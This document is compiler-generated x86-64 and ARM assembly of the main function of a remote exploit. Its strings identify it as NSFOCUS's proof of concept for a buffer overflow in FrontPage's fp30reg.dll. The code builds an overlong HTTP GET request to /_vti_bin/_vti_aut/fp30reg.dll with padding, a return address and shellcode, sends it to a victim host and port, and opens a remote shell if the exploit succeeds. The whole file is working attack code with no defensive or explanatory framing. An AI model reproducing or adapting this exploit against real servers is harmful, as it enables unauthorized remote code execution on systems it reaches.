	.file	"extr_20950.c_main.c"
	.intel_syntax noprefix
	.text
	.section	.rodata.str1.8,"aMS",@progbits,1
	.align 8
.LC0:
	.string	"Proof of concept code for fp30reg.dll overflow bug by NSFOCUS Security Team\n"
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC1:
	.string	"Usage: %s victim [port]\n"
.LC2:
	.string	"%c"
.LC3:
	.string	"aaa"
	.section	.rodata.str1.8
	.align 8
.LC4:
	.string	"GET %s?%s HTTP/1.1 \nHOST:%s\r\nContent-Type: text/html\nContent-Length:%d\r\nProxy_Connection: Keep-Alive\r\n\r\n%s"
	.section	.rodata.str1.1
.LC5:
	.string	"buff len = %d\n"
.LC6:
	.string	"payload sent!"
.LC7:
	.string	"EOF"
.LC8:
	.string	"XORDATA"
.LC9:
	.string	"exploit succeed"
.LC10:
	.string	"exploit failed"
	.section	.text.startup,"ax",@progbits
	.p2align 4
	.globl	main
	.type	main, @function
main:
.LFB0:
	.cfi_startproc
	endbr64
	push	r14
	.cfi_def_cfa_offset 16
	.cfi_offset 14, -16
	push	r13
	.cfi_def_cfa_offset 24
	.cfi_offset 13, -24
	push	r12
	.cfi_def_cfa_offset 32
	.cfi_offset 12, -32
	push	rbp
	.cfi_def_cfa_offset 40
	.cfi_offset 6, -40
	push	rbx
	.cfi_def_cfa_offset 48
	.cfi_offset 3, -48
	sub	rsp, 4096
	.cfi_def_cfa_offset 4144
	or	QWORD PTR [rsp], 0
	sub	rsp, 496
	.cfi_def_cfa_offset 4640
	movdqa	xmm0, XMMWORD PTR .LC11[rip]
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR 4584[rsp], rax
	xor	eax, eax
	movaps	XMMWORD PTR 48[rsp], xmm0
	movdqa	xmm0, XMMWORD PTR .LC12[rip]
	mov	rbx, rsi
	movabs	rax, 8228133077049635957
	mov	esi, 27756
	mov	BYTE PTR 78[rsp], 0
	mov	QWORD PTR 64[rsp], rax
	mov	DWORD PTR 72[rsp], 1680762725
	mov	WORD PTR 76[rsp], si
	mov	BYTE PTR 32[rsp], 0
	mov	DWORD PTR 11[rsp], 1742018658
	mov	BYTE PTR 15[rsp], 0
	mov	DWORD PTR 7[rsp], 7890687
	movaps	XMMWORD PTR 16[rsp], xmm0
	cmp	edi, 1
	jle	.L14
	mov	esi, 80
	cmp	edi, 2
	jne	.L15
.L3:
	mov	rdi, QWORD PTR 8[rbx]
	lea	r12, 80[rsp]
	lea	rbp, 7[rsp]
	mov	ebx, 20
	lea	r13, 480[rsp]
	call	connect_to@PLT
	mov	esi, 400
	mov	rdi, r12
	mov	r14d, eax
	call	bzero@PLT
	mov	esi, 4096
	mov	rdi, r13
	call	bzero@PLT
	mov	edx, 258
	mov	esi, 97
	mov	rdi, r12
	call	memset@PLT
	mov	rdi, rbp
	call	strlen@PLT
	mov	rsi, rbp
	mov	rdi, r12
	lea	rbp, 11[rsp]
	mov	edx, eax
	call	memcpy@PLT
	lea	rdi, 338[rsp]
	lea	rsi, .LC2[rip]
	call	strcpy@PLT
	.p2align 4,,10
	.p2align 3
.L4:
	mov	edx, 4
	mov	rsi, rbp
	mov	rdi, r12
	call	strncat@PLT
	sub	ebx, 1
	jne	.L4
	lea	rsi, .LC3[rip]
	mov	rdi, r12
	call	strcat@PLT
	mov	rbx, QWORD PTR shellcode[rip]
	mov	rdi, rbx
	call	strlen@PLT
	lea	rdx, 48[rsp]
	mov	rcx, r12
	mov	rdi, r13
	sub	rsp, 8
	.cfi_def_cfa_offset 4648
	mov	r9d, eax
	lea	rsi, .LC4[rip]
	push	rbx
	.cfi_def_cfa_offset 4656
	lea	r8, 32[rsp]
	call	sprintf@PLT
	mov	rdi, r13
	call	strlen@PLT
	lea	rdi, .LC5[rip]
	mov	esi, eax
	xor	eax, eax
	call	printf@PLT
	mov	rdi, r13
	call	strlen@PLT
	mov	rsi, r13
	mov	edi, r14d
	mov	edx, eax
	call	write@PLT
	lea	rdi, .LC6[rip]
	call	puts@PLT
	mov	rdi, r13
	call	strlen@PLT
	mov	rsi, r13
	mov	edi, r14d
	mov	edx, eax
	call	read@PLT
	pop	rdx
	.cfi_def_cfa_offset 4648
	pop	rcx
	.cfi_def_cfa_offset 4640
	test	rax, rax
	js	.L16
	mov	edx, 8
	lea	rsi, .LC8[rip]
	mov	rdi, r13
	call	memcmp@PLT
	test	rax, rax
	je	.L17
	lea	rdi, .LC10[rip]
	call	puts@PLT
	mov	edi, r14d
	call	close@PLT
	or	edi, -1
	call	exit@PLT
.L6:
	mov	rax, QWORD PTR 4584[rsp]
	xor	rax, QWORD PTR fs:40
	jne	.L18
	add	rsp, 4592
	.cfi_remember_state
	.cfi_def_cfa_offset 48
	xor	eax, eax
	pop	rbx
	.cfi_def_cfa_offset 40
	pop	rbp
	.cfi_def_cfa_offset 32
	pop	r12
	.cfi_def_cfa_offset 24
	pop	r13
	.cfi_def_cfa_offset 16
	pop	r14
	.cfi_def_cfa_offset 8
	ret
.L15:
	.cfi_restore_state
	mov	rdi, QWORD PTR 16[rbx]
	call	atoi@PLT
	mov	esi, eax
	jmp	.L3
.L17:
	lea	rdi, .LC9[rip]
	call	puts@PLT
	mov	edi, r14d
	call	runshell@PLT
	jmp	.L6
.L16:
	lea	rdi, .LC7[rip]
	call	puts@PLT
	or	edi, -1
	call	exit@PLT
	jmp	.L6
.L14:
	lea	rdi, .LC0[rip]
	call	puts@PLT
	mov	rsi, QWORD PTR [rbx]
	lea	rdi, .LC1[rip]
	xor	eax, eax
	call	printf@PLT
	or	edi, -1
	call	exit@PLT
	mov	esi, 80
	jmp	.L3
.L18:
	call	__stack_chk_fail@PLT
	.cfi_endproc
.LFE0:
	.size	main, .-main
	.comm	shellcode,8,8
	.section	.rodata.cst16,"aM",@progbits,16
	.align 16
.LC11:
	.quad	7593736828230197039
	.quad	7016442693389594478
	.align 16
.LC12:
	.quad	7521412021627615095
	.quad	7885630523519888482
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 2
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"extr_20950.c_main.c"
	.text
	.section	.rodata.str1.4,"aMS",%progbits,1
	.align	2
.LC3:
	.ascii	"Proof of concept code for fp30reg.dll overflow bug "
	.ascii	"by NSFOCUS Security Team\012\000"
	.align	2
.LC4:
	.ascii	"Usage: %s victim [port]\012\000"
	.align	2
.LC5:
	.ascii	"%c\000"
	.align	2
.LC6:
	.ascii	"aaa\000"
	.align	2
.LC7:
	.ascii	"GET %s?%s HTTP/1.1 \012HOST:%s\015\012Content-Type:"
	.ascii	" text/html\012Content-Length:%d\015\012Proxy_Connec"
	.ascii	"tion: Keep-Alive\015\012\015\012%s\000"
	.align	2
.LC8:
	.ascii	"buff len = %d\012\000"
	.align	2
.LC9:
	.ascii	"payload sent!\000"
	.align	2
.LC10:
	.ascii	"EOF\000"
	.align	2
.LC11:
	.ascii	"XORDATA\000"
	.align	2
.LC12:
	.ascii	"exploit succeed\000"
	.align	2
.LC13:
	.ascii	"exploit failed\000"
	.align	2
.LC0:
	.ascii	"/_vti_bin/_vti_aut/fp30reg.dll\000"
	.align	2
.LC1:
	.ascii	"www.blahblah.com\000"
	.align	2
.LC2:
	.ascii	"b\030\325g\000"
	.section	.rodata.cst4,"aM",%progbits,4
	.align	2
.LC14:
	.word	__stack_chk_guard
	.section	.text.startup,"ax",%progbits
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 4576
	@ frame_needed = 0, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, r8, lr}
	mov	r5, r0
	sub	sp, sp, #4544
	sub	sp, sp, #48
	ldr	lr, .L18
	add	ip, sp, #60
	mov	r6, r1
	ldmia	lr!, {r0, r1, r2, r3}
	stmia	ip!, {r0, r1, r2, r3}
	ldm	lr, {r0, r1, r2, r3}
	stmia	ip!, {r0, r1, r2}
	ldr	r4, .L18+4
	add	lr, sp, #40
	strh	r3, [ip], #2	@ movhi
	lsr	r8, r3, #16
	ldmia	r4!, {r0, r1, r2, r3}
	stmia	lr!, {r0, r1, r2, r3}
	ldr	r7, [r4]
	ldr	r0, .L18+8
	add	r1, sp, #4544
	ldr	r3, .L18+12
	ldr	r2, .L18+16
	cmp	r5, #1
	ldr	r0, [r0]
	str	r0, [r1, #44]
	mov	r0,#0
	add	r1, r1, #44
	strb	r8, [ip]
	ldm	r3, {r0, r1}
	strb	r7, [lr]
	str	r0, [sp, #32]
	strb	r1, [sp, #36]
	str	r2, [sp, #28]
	ble	.L13
	cmp	r5, #2
	moveq	r1, #80
	bne	.L14
.L3:
	ldr	r0, [r6, #4]
	bl	connect_to
	add	r3, sp, #492
	mov	r1, #400
	mov	r5, r0
	add	r0, sp, #92
	str	r3, [sp, #20]
	bl	bzero
	mov	r1, #4096
	ldr	r0, [sp, #20]
	bl	bzero
	mov	r1, #97
	ldr	r2, .L18+20
	add	r0, sp, #92
	bl	memset
	add	r0, sp, #28
	bl	strlen
	add	r1, sp, #28
	mov	r2, r0
	add	r0, sp, #92
	bl	memcpy
	add	r3, sp, #112
	mov	r2, #3
	ldr	r1, .L18+24
	add	r0, r3, #238
	bl	memcpy
	mov	r4, #20
.L4:
	mov	r2, #4
	add	r1, sp, #32
	add	r0, sp, #92
	bl	strncat
	subs	r4, r4, #1
	bne	.L4
	add	r0, sp, #92
	bl	strlen
	add	r3, sp, #92
	mov	r2, #4
	ldr	r1, .L18+28
	add	r0, r3, r0
	bl	memcpy
	ldr	r3, .L18+32
	ldr	r4, [r3]
	mov	r0, r4
	bl	strlen
	add	r3, sp, #40
	add	r2, sp, #60
	ldr	r1, .L18+36
	stmib	sp, {r0, r4}
	str	r3, [sp]
	ldr	r0, [sp, #20]
	add	r3, sp, #92
	bl	sprintf
	ldr	r0, [sp, #20]
	bl	strlen
	mov	r1, r0
	ldr	r0, .L18+40
	bl	printf
	ldr	r0, [sp, #20]
	bl	strlen
	ldr	r1, [sp, #20]
	mov	r2, r0
	mov	r0, r5
	bl	write
	ldr	r0, .L18+44
	bl	puts
	ldr	r0, [sp, #20]
	bl	strlen
	ldr	r1, [sp, #20]
	mov	r2, r0
	mov	r0, r5
	bl	read
	cmp	r0, #0
	blt	.L15
	mov	r2, #8
	ldr	r0, [sp, #20]
	ldr	r1, .L18+48
	bl	memcmp
	cmp	r0, #0
	beq	.L16
	ldr	r0, .L18+52
	bl	puts
	mov	r0, r5
	bl	close
	mvn	r0, #0
	bl	exit
.L6:
	add	r3, sp, #4544
	ldr	r2, .L18+8
	add	r3, r3, #44
	ldr	r1, [r2]
	ldr	r2, [r3]
	eors	r1, r2, r1
	mov	r2, #0
	bne	.L17
	mov	r0, #0
	add	sp, sp, #4544
	add	sp, sp, #48
	@ sp needed
	pop	{r4, r5, r6, r7, r8, pc}
.L16:
	ldr	r0, .L18+56
	bl	puts
	mov	r0, r5
	bl	runshell
	b	.L6
.L14:
	ldr	r0, [r6, #8]
	bl	atoi
	mov	r1, r0
	b	.L3
.L15:
	ldr	r0, .L18+60
	bl	puts
	mvn	r0, #0
	bl	exit
	b	.L6
.L13:
	ldr	r0, .L18+64
	bl	puts
	ldr	r1, [r6]
	ldr	r0, .L18+68
	bl	printf
	mvn	r0, #0
	bl	exit
	mov	r1, #80
	b	.L3
.L17:
	bl	__stack_chk_fail
.L19:
	.align	2
.L18:
	.word	.LC0
	.word	.LC1
	.word	.LC14
	.word	.LC2
	.word	7890687
	.word	258
	.word	.LC5
	.word	.LC6
	.word	shellcode
	.word	.LC7
	.word	.LC8
	.word	.LC9
	.word	.LC11
	.word	.LC13
	.word	.LC12
	.word	.LC10
	.word	.LC3
	.word	.LC4
	.size	main, .-main
	.comm	shellcode,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
